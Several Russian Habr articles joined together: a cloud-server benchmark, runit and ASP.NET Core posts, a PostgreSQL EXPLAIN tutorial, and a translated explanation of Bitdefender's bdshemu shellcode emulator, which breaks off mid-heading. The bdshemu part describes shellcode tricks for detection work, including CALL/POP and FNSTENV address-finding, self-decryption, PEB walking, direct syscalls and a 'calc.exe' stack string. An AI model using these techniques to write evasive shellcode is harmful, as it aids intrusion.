Не считая ожидаемого первого места у сервера EC2 c4.large, относящегося к оптимизированному для производительности типу C4, Amazon Lightsail оказался быстрее всех, что, учитывая цену, довольно приятная неожиданность. За ним практически с таким же результатом следует однопроцессорный сервер от Google и ноутбук. Далее хорош оказался до этого мне неизвестный Vultr, Linode, от которого я ожидал большего. Приз зрительских симпатий получает Digital Ocean — медленнее, но наиболее простой и быстрый в использовании. Довольно дорогие сервера EC2 m3.medium на удивление медленные, а самые дешевые сервера GCE совсем плохие даже с SSD дисками, результата тестирования сервера размера micro я не дождался.
Отдельно надо сказать о EC2 инстансах типа T2. Их особенностью является то, что при простое сервер получает процессорные кредиты (до определенного лимита), которые расходуются под нагрузкой. Расходуя кредиты, сервер работает с полной производительностью, когда они заканчиваются — производительность падает до 20%. С одной стороны, это очень хорошо подходит для наших целей — люди, особенно с мобильного устройства, не играют непрерывно весь день, плюс симуляция в игре останавливается, когда человек что-то делает в меню и т.п., поэтому это хороший вариант получить высокую производительность за небольшие деньги. С другой стороны, это “ненастоящая” производительность, поэтому я не включил инстансы этого типа в тестирование, дабы никого не путать. По опыту, пока есть кредиты, они довольно быстрые, когда они кончаются — очень медленные.
На этом всё. | https://habr.com/ru/post/401485/ | null | ru | null |
# Web-интерфейс для runit
Вы уже используете **[runit](http://smarden.org/runit/ "runit")** на своих серверах? Теперь у Вас есть возможность наблюдать за состоянием сервисов и управлять ими через минималистичный Web-интерфейс.
Для работы этой утилиты Вам нужно поставить ruby и rubygems, и затем выполнить
`gem install runit-man thin`
Теперь Вы можете запустить сервер, например, таким образом:
`runit-man.rb -p 12700 -f /etc/sv -a /etc/service`
Скорее всего, вы захотите использовать эту утилиту как сервис runit, для этого достаточно запустить её с ключом -r. Исходные тексты доступны здесь: <http://github.com/Undev/runit-man>.
Полезные статьи по runit: [Использование runit для своих сервисов](http://habrahabr.ru/blogs/sysadm/83775/), [использование runit как процесса №1 в Linux](http://habrahabr.ru/blogs/linux/21205/).
Так как создание, размещение и использование своих утилит в виде гемов оказывается очень простым и удобным, то многие системные администраторы уже выбрали Ruby в качестве своего языка. | https://habr.com/ru/post/84627/ | null | ru | null |
# Книга «ASP.NET Core. Разработка приложений»
[](https://habrahabr.ru/company/piter/blog/338454/) Современные разработчики занимаются построением кроссплатформенных приложений, их сопровождением и развертыванием. Чтобы облегчить им тяжкий труд, был создан новый фреймворк компании Microsoft — ASP.NET Core. Теперь в вашем распоряжении множество разнообразных библиотек с открытым кодом, более того, сам фреймворк является продуктом с открытым кодом.
Как же освоить все новые возможности, предоставляемые ASP.NET Core? Авторы объясняют решение конкретных задач на примере вымышленной компании Alpine Ski House. Каждую главу предваряет краткий рассказ о проблеме, с которой сталкивается команда разработчиков, и о том, как они эту проблему преодолевают. Вам предстоит познакомиться с архитектурой приложений, средствами развертывания и проектирования приложений для работы в облаке и многим другим.
В этой книге рассматриваются первые спринты разработки приложения в вымышленной компании Alpine Ski House. Каждую главу предваряет краткий рассказ о проблеме, с которой сталкивается команда разработчиков, и о том, как они собираются ее преодолевать. Несмотря на присутствие элемента вымысла, в книге достаточно глубоко освещена не только функциональность ASP.NET Core MVC, но и инструментарий, используемый разработчиками для построения, сопровождения и развертывания приложений.
Кроме историй и технической информации об ASP.NET Core MVC, в книге рассматривается новая версия Entity Framework, системы управления пакетами и периферийные технологии, используемые современными веб-разработчиками. Помимо теоретического учебного материала, к книге также прилагается сопроводительный проект — тот самый, который разрабатывают программисты из Alpine Ski House.
### Для кого написана эта книга
Книга проведет программиста по всем этапам создания нового приложения на базе ASP.NET Core и обеспечения доступа к нему через интернет. Многие программисты все еще далеки от мира веб-разработки или лишь незначительно соприкоснулись с ним посредством WebForms, несмотря на широкий спектр доступных в настоящее время программных инструментов. Книга поможет читателю овладеть навыками, необходимыми для проектирования современных приложений на активно развивающемся фреймворке. Вы изучите архитектуру приложений, средства развертывания и проектирования приложений для работы в облаке.
### Эта книга вам не подойдет, если…
Эта книга может вам не подойти, если вы — опытный разработчик ASP.NET MVC, внимательно следивший за ходом разработки ASP.NET Core MVC или принимавший в нем непосредственное участие.
### Структура книги
В книге используется необычный подход: она проводит разработчиков по отдельным спринтам в ходе разработки приложения. Рассматривается не только технология, но также процесс восстановления после ошибок и реакция разработчиков на обратную связь от пользователей. Мы начнем с пустого листа и закончим полноценным работоспособным продуктом.
Книга поделена на четыре части:
• Часть I «Спринт первый: Приложение Alpine Ski House» вводит читателя в суть ситуации: в ней описывается приложение, используемое в книге, и вымышленные персонажи истории.
• Часть II «Спринт второй: Путешествие длиной в 1000 шагов» посвящена основным функциональным аспектам приложения и настройке конвейера, с помощью которого развертывание станет происходить «на лету», а процесс будет понятным для всей команды разработки.
• Часть III «Спринт третий: В пасти у зверя», уделяет основное внимание базовой функциональности, необходимой для того, чтобы начать использовать тестовое приложение в реальных бизнес-процессах. В частности, здесь рассматривается работа с данными посредством Entity Framework Core, созданиепредставлений на базе Razor, настройка конфигурации и журналирование, безопасность и управление правами, и наконец, внедрение зависимостей.
• Часть IV «Спринт четвертый: Финишная прямая» описывает JavaScript и управление зависимостями, а также развивает некоторые предыдущие темы.
В конце книги рассматриваются такие важные темы, как тестирование, рефакторинг и добавление расширений.
### Отрывок. Рефакторинг и повышение качества кода
Мало кто из разработчиков доволен кодом, который они написали год назад. Расхожая шутка на многих семинарах по программированию: программист восклицает «Кто написал этот мусор?», заглядывает в историю и выясняет, что это был он. На самом деле это замечательная возможность. Приступая к написанию кода, часто вы только пытаетесь разобраться в предметной области, задаче программирования и структуре приложения, которое вам предстоит написать. Объем информации, которую разум может усвоить за один раз, ограничен, а большое количество «подвижных частей» часто приводит к ошибкам в структуре или функциональности кода. Вернуться и исправить старый код спустя несколько месяцев, когда ваше понимание приложения улучшилось, — величайшая роскошь.
В этой главе рассматривается идея рефакторинга и возможности усовершенствований функциональности приложения без нарушения его работоспособности.
Что такое рефакторинг?
Термин «рефакторинг» был предложен в начале 1990-х годов Уильямом Опдайком (William Opdyke) и Ральфом Джонсоном (Ralph Johnson). Да, есть книга, написанная «Бандой четырех»1. Под рефакторингом понимается изменение внутренней структуры блока кода, в результате которого код становится более понятным, удобным в тестировании, лучше адаптируется к изменениям, причем его внешняя функциональность не изменяется. Если представить себе функцию в виде «черного ящика», который получает входные данные и выдает выходные данные, изменение внутренней структуры «черного ящика» особой роли не играет, если ввод и вывод остаются неизменными (рис. 23.1).
Это наблюдение позволяет вам заменять код в приложении с сохранением функциональности и повышением общего качества приложения. И хотя мы используем термин «функция» как обозначение блока кода, его область действия не обязана ограничиваться внутренним строением функции. Вся суть объектно-ориентированного программирования — широкое введение абстракций для защиты от раскрытия подробностей реализации. Есть много конструкций, которые могут рассматриваться как «черный ящик» для целей рефакторинга. Первым кандидатом становятся классы. Реализация класса несущественна, если входные и выходные данные остаются неизменными, поэтому мы можем изменять его внутренние механизмы так, как считаем нужным. Пространства имен не обеспечивают тот же уровень защиты, что и классы, но также могут рассматриваться как кандидаты на замену. Наконец, в мире микросервисов все приложение может быть заменено другим приложением, и такая замена тоже станет частью рефакторинга.
Рассмотрим сервис, обязанностью которого является отправка электронной почты по списку рассылки. Вводом может быть список получателей и отправляемое сообщение. Место вывода как такового здесь занимает результат: получение сообщения всеми адресатами из списка получателей (рис. 23.2).
Неважно, как именно микросервис рассылает сообщения: с помощью Sendgrid или с собственного сервера. В любом случае результат остается одним и тем же. В данном случае замена микросервиса может считаться рефакторингом.
Программисты обычно называют рефакторингом все, что способствует улучшению кода. Исключили лишний параметр метода? Добавили запись в журнал в коварном методе, чтобы обеспечить улучшенную поддержку DevOps? Хотя качество кода или качество приложения в обоих случаях повышается, ни один из них формально не может рассматриваться как рефакторинг, потому что они изменяют функциональность приложения. Полное следование определению рефакторинга требует, чтобы неизменным оставался как ввод (в том числе и состав параметров), так и вывод (включая сообщения в журнале).
### Оценка качества кода
Если разработчик занимается рефакторингом для повышения качества кода, безусловно, должен существовать некоторый критерий оценки качества кода. Было бы замечательно иметь инструмент для оценки качества кода — безукоризненную метрику, способную представить все аспекты качества кода одним числом. К сожалению, такой метрики не существует. За прошедшие годы предлагалось бесчисленное множество метрик качества, от центробежного и центростремительного сцепления до оценки количества ошибок в строке кода и степени тестового покрытия кода. Выбор набора метрик качества кода — тема, которая сама по себе заслужила бы целой книги.
Впрочем, будет полезно выделить несколько простых метрик для оценки качества кода:
• Делает ли код то, что ему положено делать? На первый взгляд очевидно, но об этой метрике часто забывают. Ее можно оценить по количеству заявленных ошибок на тысячу строк кода или по количеству ошибок на класс. Некоторые разработчики используют эту метрику глобально, сравнивая относительное качество двух проектов по количеству обнаруженных дефектов. Впрочем, такой подход непродуктивен, потому что два проекта никогда не решают одну проблему. Можно ли ожидать, что система создания и доставки электронных поздравительных открыток будет иметь такую же степень сложности или количество ошибок, что и система управления дозатором инсулина? Нет, конечно. Эта метрика, как и большинство других, просто помогает узнать, совершенствуется ли группа и продукт со временем.
• Удовлетворяет ли код своим нефункциональным требованиям? Речь идет о требованиях, не связанных с вводом или выводом функции (как, например, производительность фрагмента кода или его защищенность).
• Насколько понятен код? Идеального кода вообще не бывает, и кому-то рано или поздно понадобится обновить его из-за обнаруженной ошибки или изменившихся требований. Этим «кем-то» может стать даже автор кода, то есть вы! Взгляните на следующий фрагмент:
```
for (var i = 1; i < parts.length; i++) {
root[parts[i]] = root[parts[i]] || (root[parts[i]] = {});
root = root[parts[i]];
}
```
Возможно, это эффективный и умный код, но разобраться в нем почти невозможно. Найти объективную метрику понятности или удобочитаемости достаточно сложно. Эта метрика — не столько число, сколько воплощение согласованного мнения разработчиков относительно удобства сопровождения. В группах нормальных людей, не отягощенных амбициями, редко возникают серьезные расхождения по поводу того, насколько хорошо читается код. Рецензирование кода — прекрасный инструмент для обнаружения непонятных участков кода.
Другая простая, но практичная метрика — цикломатическая сложность — оценивает сложность функций по количеству ветвей кода в методе. Метод с одной командой if содержит две возможные ветви кода, а значит, его цикломатическая сложность равна 2 (рис. 23.3).
• Способен ли код легко реагировать на изменения в требованиях? И снова эта метрика не может быть выражена простым числом. Скорее это ощущение, возникающее в группе опытных разработчиков. По кислому выражению на лице разработчика, когда в его коде предполагаются серьезные изменения, можно с уверенностью определить, достигнута ли эта цель.
Эти четыре простые метрики станут хорошей отправной точкой для принятия решения о том, каким частям приложения может понадобиться рефакторинг. Вероятно, в процессе роста и развития приложения вам удастся обнаружить и добавить новые метрики.
Когда в вашем распоряжении оказывается несколько метрик, важно убедиться в том, что приложение не оптимизируется по ошибочной метрике. Люди склонны обманывать систему, сознательно или нет. Если выбрать метрику производительности, обеспечивающую максимально быстрый возврат из функции, но при этом не добавить метрику, устанавливающую разумное ограничение затрат памяти, появляется искушение оптимизировать функцию так, чтобы она расходовала память в обмен на вычислительные ресурсы. Подумайте, действительно ли это именно то, что вам нужно, или на самом деле конечной целью является баланс. Проанализируйте метрики и убедитесь в том, что оптимизация не идет в неверном направлении, а если все же идет — обновите набор метрик.
### Об авторах
Джеймс Чамберс, пятикратный обладатель статуса Microsoft MVP в области технологий разработки, в настоящее время занимается разработкой с использованием ASP.NET Core и MVC Framework на платформе Azure и AWS. Он является независимым консультантом, преподавателем и активным блоггером, а также участником ряда проектов с открытым кодом.
Дэвид Пэкетт, четырехкратный обладатель статуса Microsoft MVP — разработчик ПО и независимый консультант. Он обладает обширным опытом использования .NET для построения приложений Windows и веб-приложений, глубокими техническими познаниями и страстью к качественным пользовательским интерфейсам.
Саймон Тиммс, обладатель статуса Microsoft MVP на протяжении многих лет — организатор сообществ, блоггер, разработчик и независимый консультант. Его технологические интересы весьма разнообразны, он увлекается всем — от распределенных систем до новомодных фреймворков JavaScript. Обладая хорошей подготовкой как в области разработки, так и в организации текущей работы, он нередко сводит с ума свои группы, участвуя во всех этапах, от построения и разработки до обслуживания серверов.
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/soon/product/aspnet-core-razrabotka-prilozheniy)
» [Оглавление](http://storage.piter.com/upload/contents/978549603071/978549603071_X.pdf)
» [Отрывок](http://storage.piter.com/upload/contents/978549603071/978549603071_p.pdf)
Для Хаброжителей скидка 20% по купону — **ASP.NET Core** | https://habr.com/ru/post/338454/ | null | ru | null |
# Реверс-инжинирим структуру БД PostgreSQL по плану запроса к ней
Большая часть оптимизаций запросов к базам PostgreSQL может выполняться "механически", **следуя разного рода маркерам** в плане выполнения запроса, которые подскажут, [что и как можно ускорить](https://habr.com/ru/post/492694/). Но "глубинные" переработки алгоритма, вроде описанных [в статье про DBA-детектив](https://habr.com/ru/post/527700/), требуют от разработчика детального понимания используемой **структуры логических связей**.
И хорошо, когда эта структура уже где-то описана и детально задокументирована. Но плохо, когда такая документация ничтожно мала, избыточно велика, сложно доступна...
А ведь она уже и так находится "под ногами" в момент анализа плана запроса - надо только лишь **удобно увидеть** ее!
Давайте проведем анализ на примере совсем простого запроса:
```
EXPLAIN (ANALYZE, COSTS OFF)
SELECT * FROM pg_stat_user_tables WHERE schemaname = 'public';
```
```
GroupAggregate (actual time=15.756..17.407 rows=173 loops=1)
Group Key: c.oid, n.nspname, c.relname
-> Sort (actual time=4.490..4.771 rows=2806 loops=1)
Sort Key: c.oid, c.relname
Sort Method: quicksort Memory: 842kB
-> Nested Loop Left Join (actual time=0.537..3.538 rows=2806 loops=1)
-> Nested Loop (actual time=0.526..1.228 rows=173 loops=1)
Join Filter: (c.relnamespace = n.oid)
Rows Removed by Join Filter: 201
-> Index Scan using pg_namespace_nspname_index on pg_namespace n (actual time=0.017..0.018 rows=1 loops=1)
Index Cond: (nspname = 'public'::name)
Filter: (nspname !~ '^pg_toast'::text)
-> Seq Scan on pg_class c (actual time=0.009..1.168 rows=374 loops=1)
Filter: (relkind = ANY ('{r,t,m}'::"char"[]))
Rows Removed by Filter: 3187
-> Index Scan using pg_index_indrelid_index on pg_index i (actual time=0.002..0.010 rows=16 loops=173)
Index Cond: (c.oid = indrelid)
Planning time: 2.398 ms
Execution time: 17.660 ms
```
Во-первых, конечно, воспользуемся нашим сервисом визуализации планов [explain.tensor.ru](https://explain.tensor.ru/archive/explain/c1193684f3b43853ca8ebb676b000d0d:0:2022-01-17), чтобы увидеть структуру более наглядно:
**Маркеры-подсказки** сразу акцентируют внимание на тех узлах, которые можно попробовать относительно легко оптимизировать. Но нам интересны сейчас не они, а те три таблицы, которые присутствуют в плане, и их поля:
Итак, мы получили следующую информацию:
* при выполнении запроса к системному представлению `pg_stat_user_tables` задействуются три таблицы: `pg_namespace` (алиас `n`), `pg_class` (алиас `c`) и `pg_index` (алиас `i`)
* дополнительно мы получили информацию о существовании в них полей `c.oid, c.relname, c.relnamespace, c.relkind, n.oid, n.nspname, i.indrelid`
* также мы видим информацию о значениях некоторых из них, что позволяет сделать выводы об их типе:
+ `n.nspname = 'public'::name => nspname::name`
+ `c.relkind = ANY ('{r,t,m}'::"char"[]) => relkind::"char"`
* и, наконец, связи этих полей между собой:
+ `c.relnamespace = n.oid`
+ `c.oid = i.indrelid`
Теперь нам остается только аккуратно отразить **на вкладке "Структура"** в нашем сервисе полученную информацию - таблицы и использованные индексы, их поля и связи:
Визуализация связей объектов базыХотим знать больше полей? Используем `VERBOSE`:
```
EXPLAIN (ANALYZE, VERBOSE, COSTS OFF)
SELECT * FROM pg_stat_user_tables WHERE schemaname = 'public';
```
```
GroupAggregate (actual time=26.777..29.790 rows=173 loops=1)
Output: c.oid, n.nspname, c.relname, pg_stat_get_numscans(c.oid), pg_stat_get_tuples_returned(c.oid), (sum(pg_stat_get_numscans(i.indexrelid)))::bigint, ((sum(pg_stat_get_tuples_fetched(i.indexrelid)))::bigint + pg_stat_get_tuples_fetched(c.oid)), pg_stat_get_tuples_inserted(c.oid), pg_stat_get_tuples_updated(c.oid), pg_stat_get_tuples_deleted(c.oid), pg_stat_get_tuples_hot_updated(c.oid), pg_stat_get_live_tuples(c.oid), pg_stat_get_dead_tuples(c.oid), pg_stat_get_mod_since_analyze(c.oid), pg_stat_get_last_vacuum_time(c.oid), pg_stat_get_last_autovacuum_time(c.oid), pg_stat_get_last_analyze_time(c.oid), pg_stat_get_last_autoanalyze_time(c.oid), pg_stat_get_vacuum_count(c.oid), pg_stat_get_autovacuum_count(c.oid), pg_stat_get_analyze_count(c.oid), pg_stat_get_autoanalyze_count(c.oid)
Group Key: c.oid, n.nspname, c.relname
-> Sort (actual time=13.829..14.284 rows=2806 loops=1)
Output: c.oid, n.nspname, c.relname, i.indexrelid
Sort Key: c.oid, c.relname
Sort Method: quicksort Memory: 842kB
-> Nested Loop Left Join (actual time=0.720..11.421 rows=2806 loops=1)
Output: c.oid, n.nspname, c.relname, i.indexrelid
-> Hash Join (actual time=0.660..1.490 rows=173 loops=1)
Output: c.oid, c.relname, n.nspname
Inner Unique: true
Hash Cond: (c.relnamespace = n.oid)
-> Seq Scan on pg_catalog.pg_class c (actual time=0.015..1.376 rows=374 loops=1)
Output: c.oid, c.relname, c.relnamespace
Filter: (c.relkind = ANY ('{r,t,m}'::"char"[]))
Rows Removed by Filter: 3187
-> Hash (actual time=0.024..0.024 rows=1 loops=1)
Output: n.nspname, n.oid
Buckets: 1024 Batches: 1 Memory Usage: 9kB
-> Index Scan using pg_namespace_nspname_index on pg_catalog.pg_namespace n (actual time=0.020..0.021 rows=1 loops=1)
Output: n.nspname, n.oid
Index Cond: (n.nspname = 'public'::name)
Filter: (n.nspname !~ '^pg_toast'::text)
-> Index Scan using pg_index_indrelid_index on pg_catalog.pg_index i (actual time=0.026..0.054 rows=16 loops=173)
Output: i.indexrelid, i.indrelid, i.indnatts, i.indisunique, i.indisprimary, i.indisexclusion, i.indimmediate, i.indisclustered, i.indisvalid, i.indcheckxmin, i.indisready, i.indislive, i.indisreplident, i.indkey, i.indcollation, i.indclass, i.indoption, i.indexprs, i.indpred
Index Cond: (c.oid = i.indrelid)
Planning time: 3.151 ms
Execution time: 30.219 ms
```
Теперь, зная структуру связей в базе, мы можем написать более эффективный запрос, если нам не нужна информация из самой схемы:
```
EXPLAIN (ANALYZE, COSTS OFF)
SELECT * FROM pg_class WHERE relnamespace = (
SELECT oid FROM pg_namespace WHERE nspname = 'public'
);
```
```
Seq Scan on pg_class (actual time=0.020..1.002 rows=2992 loops=1)
Filter: (relnamespace = $0)
Rows Removed by Filter: 569
InitPlan 1 (returns $0)
-> Index Scan using pg_namespace_nspname_index on pg_namespace (actual time=0.010..0.011 rows=1 loops=1)
Index Cond: (nspname = 'public'::name)
Planning time: 0.110 ms
Execution time: 1.185 ms
```
И да, связь со вложенным `InitPlan` мы тоже увидим при визуализации структуры:
Отражение InitPlan на структуре базы
> Поделиться анализом плана с иностранными коллегами стало еще проще - у нашего сервиса появилось англоязычное "зеркало" [explain-postgresql.com](https://explain-postgresql.com/).
>
> | https://habr.com/ru/post/646043/ | null | ru | null |
# bdshemu: эмулятор шелл-кода в Bitdefender
Совсем скоро, 19 ноября, у нас стартует курс [«Этичный хакер»](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=291020), а специально к этому событию мы подготовили этот перевод о bdshemu — написанном на языке C эмуляторе с открытым исходным кодом в Bitdefender для обнаружения эксплойтов на 32- и 64-битной архитектуре. Эмулятор очень прост, а благодаря нацеленности на уровень инструкций он работает с любой операционной системой. Кроме того, этот эмулятор зачастую сохраняет расшифрованный эксплойт в бинарный файл. Подробности и пример обнаружения Metasploit — под катом, ссылка на репозиторий проекта на Github — в конце статьи.
[](https://habr.com/ru/company/skillfactory/blog/527512/)
---
Введение
--------
Обнаружение эксплойтов — одна из основных сильных сторон Hypervisor Memory Introspection (HVMI). Возможность мониторинга гостевых страниц физической памяти на предмет различных видов доступа, таких как запись или выполнение, позволяет HVMI накладывать ограничения на критические области памяти: например, страницы стека или кучи могут быть помечены как невыполняемыми на уровне EPT, поэтому, когда эксплойту удается получить доступ к произвольному выполнению кода, вмешивается логика интроспекции и блокирует выполнение шелл-кода.
Теоретически перехвата попыток выполнения из областей памяти, например стека или кучи, должно быть достаточно, чтобы предотвратить действия большинства эксплойтов. Реальная жизнь часто бывает сложнее, и бывает много случаев, когда легальное программное обеспечение использует приемы, напоминающие атаку — JIT-компиляция в браузерах — один из хороших примеров. Кроме того, злоумышленник может хранить полезную нагрузку в других областях памяти, за пределами стека или кучи, поэтому полезно распознавание хорошего и плохого кода.
В этом посте поговорим об эмуляторе Bitdefender Shellcode Emulator, или, для краткости, bdshemu. Это библиотека, способная эмулировать базовые инструкции x86, наблюдая при этом похожее на шелл-код поведение. Легальный код — например JIT-код — будет выглядеть иначе, чем традиционный шелл-код, bdshemu пытается определить, ведёт ли себя код в эмуляции, как шелл-код.
Обзор bdshemu
-------------
bdshemu — библиотека на C, является частью проекта bddisasm (и, конечно же, она использует bddisasm для расшифровки инструкций). Библиотека bdshemu создана только для эмуляции кода x86, поэтому не имеет поддержки вызовов API. На самом деле, среда эмуляции сильно ограничена и урезана, доступны только две области памяти:
1. Содержащие эмулируемый код страницы.
2. Стек.
Обе эти области виртуализированы, то есть на самом деле являются копиями эмулируемой фактической памяти, поэтому внесенные в них изменения не влияют на фактическое состояние системы. Любой доступ эмулируемого кода за пределы этих областей (которые мы будем называть шелл-кодом и стеком соответственно), спровоцирует немедленное завершение эмуляции. Например, вызов API автоматически вызовет ветку вне области шелл-кода, тем самым прекратив эмуляцию. Однако в bdshemu всё, что нас волнует — это поведение кода на уровне инструкций, которого достаточно, чтобы понять, вредоносен код или нет.
Хотя bdshemu предоставляет основную инфраструктуру для обнаружения шелл-кодов внутри гостевой операционной системы, стоит отметить, что это не единственный способ, которым HVMI определяет, что выполнение определённой страницы является вредоносным. Используются ещё два важных индикатора:
1. Выполняемая страница находится в стеке — это обычное дело для уязвимостей на основе стека.
2. Подделка стека — когда страница выполняется впервые, а регистр RSP указывает за пределы выделенного для потока обычного стека.
Этих двух индикаторов достаточно, чтобы запустить обнаружение эксплойтов. Если эксплойты не обнаружили себя, bdshemu внимательно изучает исполняемый код и решает, нужно ли его блокировать.
Архитектура bdshemu
-------------------
bdshemu создаётся как отдельная библиотека C и зависит только от bddisasm. Работать с bdshemu довольно просто, поскольку у этих двух библиотек имеется общий API:
```
SHEMU_STATUS
ShemuEmulate(
SHEMU_CONTEXT *Context
);
```
Эмулятор ожидает единственный аргумент `SHEMU_CONTEXT`, содержащий всю необходимую для эмуляции подозрительного кода информацию, то есть контекст. Этот контекст разделен на две части: входные и выходные параметры.
Входные параметры должны предоставляться вызывающей стороной, и они содержат такую информацию, как код для эмуляции или начальные значения регистров. Выходные параметры содержат такую информацию, как индикаторы шелл-кода, обнаруженные bdshemu. Все эти поля хорошо документированы в исходном коде.
Первоначально контекст заполняется следующей основной информацией (обратите внимание, что результат эмуляции может измениться в зависимости от значения предоставленных регистров и стека):
1. Входные регистры, такие как сегменты, регистры общего назначения, регистры MMX и SSE; их можно оставить в значении 0, если они неизвестны или не актуальны.
2. Входной код, то есть код для эмуляции.
3. Входной стек, который может содержать фактическое содержимое стека, или может быть оставлен со значением 0.
4. Информация о среде, например режим (32 или 64 бита) или кольцо (0, 1, 2 или 3).
5. Параметры управления: минимальная длина строки стека, минимальная длина цепочки NOP или максимальное количество инструкций, которые должны быть эмулированы.
Основной выходной параметр — поле `Flags`, которое содержит список обнаруженных во время эмуляции индикаторов шелл-кода. Как правило, ненулевое значение этого поля убедительно свидетельствует, что код эмуляции — это шелл-код.
bdshemu построен как быстрый и простой эмулятор инструкций x86. Поскольку он работает только с самим шелл-кодом и небольшим виртуальным стеком, ему не нужно имитировать какие-то архитектурные особенности — прерывания или исключения, таблицы дескрипторов, таблицы страниц. Кроме того, поскольку мы имеем дело только с шелл-кодом и стековой памятью, bdshemu не выполняет проверку доступа к памяти потому, что не разрешает доступ даже к другим адресам. Единственное состояние, кроме регистров, к которому можно получить доступ, — это сам шелл-код и стек, и они оба — копии фактического содержимого памяти. То есть состояние системы никогда не изменяется во время эмуляции, изменяется только предоставленный `SHEMU_CONTEXT`. Это делает bdshemu чрезвычайно быстрым, простым и позволяет сосредоточиться на его основной цели: обнаружении шелл-кода.
Что касается поддержки инструкций, bdshemu поддерживает все основные инструкции x86, такие как ветвления, арифметика, логика, сдвиг, манипуляции с битами, умножение и деление, доступ к стеку и инструкции передачи данных. Кроме того, он также поддерживает другие инструкции, например, некоторые базовые инструкции `MMX` или `AVX`. Два хороших примера — `PUNPCKLBW` и `VPBROADCAST`.
Методы обнаружения bdshemu
--------------------------
Есть несколько индикаторов, которые использует bdshemu. Чтобы определить, ведёт ли себя эмулируемый фрагмент кода как шелл-код.
NOP Sled
--------
Это классическое представление шелл-кода; поскольку точка его входа при выполнении может быть неизвестна точно, злоумышленники обычно добавляют длинную последовательность инструкций NOP, закодированную 0x90. Параметры длины последовательностей NOP можно контролировать при вызове эмулятора через контекстное поле `NopThreshold`. Значение `SHEMU_DEFAULT_NOP_THRESHOLD` по умолчанию равно 75. Это означает, что минимум 75 % всех эмулируемых инструкций должны быть инструкциями NOP.
RIP Load
--------
Шелл-код задуман так, чтобы работать правильно, независимо от того, по какому адресу он загружен. Это означает, что шелл-код должен во время выполнения динамически определять адрес, по которому был загружен, поэтому абсолютную адресацию можно заменить некоторой формой относительной адресации. Обычно это делается получением значения указателя инструкции с помощью хорошо известных методов:
1. `CALL $ + 5/POP ebp` — выполнение этих двух инструкций приведёт к тому, что значение указателя инструкции сохранится в регистре `ebp`; затем можно получить доступ к данным внутри шелл-кода, используя смещения относительно значения `ebp`
2. `FNOP/FNSTENV [esp-0xc]/POP edi` — первая инструкция — это любая инструкция `FPU` (не обязательно `FNOP`), а вторая инструкция — `FNSTENV` — сохраняет среду `FPU` в стеке; третья инструкция получит указатель инструкции `FPU` из `esp-0xc`, который является частью среды `FPU` и содержит адрес последнего выполненного `FPU` — в нашем случае `FNOP`. С этого момента для доступа к данным шелл-кода можно использовать адресацию относительно `edi`
3. Внутренне bdshemu отслеживает все экземпляры указателя инструкции, сохранённые в стеке. Последующая загрузка указателя инструкции из стека каким-либо образом приведёт к срабатыванию этого обнаружения. Благодаря тому, что bdshemu отслеживает сохранённые указатели инструкций, не имеет значения, когда, где и как шелл-код пытается загрузить регистр `RIP` и использовать его: bdshemu всегда будет запускать обнаружение.
В 64-битном режиме относительная адресация RIP может использоваться напрямую: это позволяет кодировка инструкций. Однако, как ни странно, большое количество шелл-кода по-прежнему использует классический метод получения указателя инструкций (обычно технику CALL/POP), что, вероятно, указывает на то, что 32-битные шелл-коды были перенесены на 64-битные с минимальными изменениями.
Запись шелл-кода самим шелл-кодом
---------------------------------
Чаще всего шелл-код закодирован или зашифрован, чтобы избежать некоторых плохих символов (например `0x00`, который должен напоминать строку, может сломать эксплойт), или чтобы избежать обнаружения технологиями безопасности — например, AV-сканерами. Это означает, что во время выполнения шелл-код должен декодировать себя — обычно на месте — изменяя свое собственное содержимое, а затем выполняя текстовый код. Типичные методы декодирования включают алгоритмы дешифрования на основе `XOR` или `ADD`.
Конечно, bdshemu знает о таком поведении и отслеживает каждый изменённый внутри шелл-кода байт. Каждый раз, когда предполагаемый шелл-код записывает какую-то часть себя, а затем выполняет её, срабатывает обнаружение самостоятельной записи шелл-кода.
Доступ к TIB
------------
После того как шелл-код получил возможность выполнения, ему необходимо найти несколько функций внутри разных модулей, чтобы позаботиться о полезной нагрузке (например, загрузке файла или создании процесса). В Windows наиболее распространенный способ сделать это — разобрать структуры загрузчика пользовательского режима, чтобы найти адреса, по которым загружены требуемые модули, а затем найти необходимые функции внутри этих модулей. Ниже дана последовательность структур, к которым будет обращаться шелл-код:
1. Блок среды потока (TEB), который расположен в `fs: [0]` (32-битный поток) или `gs: [0]` (64-битный поток).
2. Блок среды процесса (PEB), который расположен по адресу TEB + 0x30 (32 бит) или TEB + 0x60 (64 бит).
3. Информация о загрузчике (PEB\_LDR\_DATA), расположенная внутри PEB.
Внутри `PEB_LDR_DATA` есть несколько списков, содержащих загруженные модули. Шелл-код будет перебирать эти списки, чтобы найти столь необходимые ему библиотеки и функции.
При каждом обращении к памяти bdshemu увидит, пытается ли предполагаемый шелл-код получить доступ к полю PEB внутри TEB. bdshemu отслеживает обращения к памяти, даже если они выполняются без классических префиксов сегментов `fs/gs` — до тех пор, пока идентифицирован доступ к полю PEB внутри TEB, будет срабатывать обнаружение доступа к TIB.
Направленный вызов SYSCALL
--------------------------
Легитимный код будет полагаться на несколько библиотек для вызова служб операционной системы — например для создания процесса в Windows обычный код будет вызывать одну из функций `CreateProcess`. Легитимный код редко вызывает `SYSCALL` напрямую, поскольку интерфейс `SYSCALL` со временем может измениться. По этой причине bdshemu запускает обнаружение `SYSCALL` всякий раз, когда обнаруживает, что предполагаемый шелл-код напрямую вызывает системную службу с помощью инструкций `SYSCALL`, `SYSENTER` или `INT`.
Строки стека
------------
Другой распространённый способ маскировки содержимого шелл-кода — динамическое построение строк в стеке. Это может устранить необходимость в написании независимого от позиции кода (PIC), поскольку шелл-код будет динамически строить нужные строки в стеке, вместо того, чтобы ссылаться на них внутри шелл-кода как на обычные данные. Типичные способы сделать это — сохранить содержимое строки в стеке, а затем ссылаться на строку с помощью указателя стека:
```
push 0x6578652E
push 0x636C6163
```
В приведённом выше коде в стеке сохраняется строка `calc.exe`, которую затем можно использовать как обычную строку во всем шелл-коде.
Для каждого сохранённого в стеке значения, напоминающего строку, bdshemu отслеживает общую длину созданной в стеке строки. Как только порог, указанный полем `StrLength` внутри контекста, будет превышен, будет запущено обнаружение строки стека. Значение по умолчанию для этого поля `SHEMU_DEFAULT_STR_THRESHOLD` равно 8. Это означает, что динамическое построение строки длиной не менее 8 символов в стеке вызовет это обнаружение.
Методы обнаружения для шелл-кода режима ядра
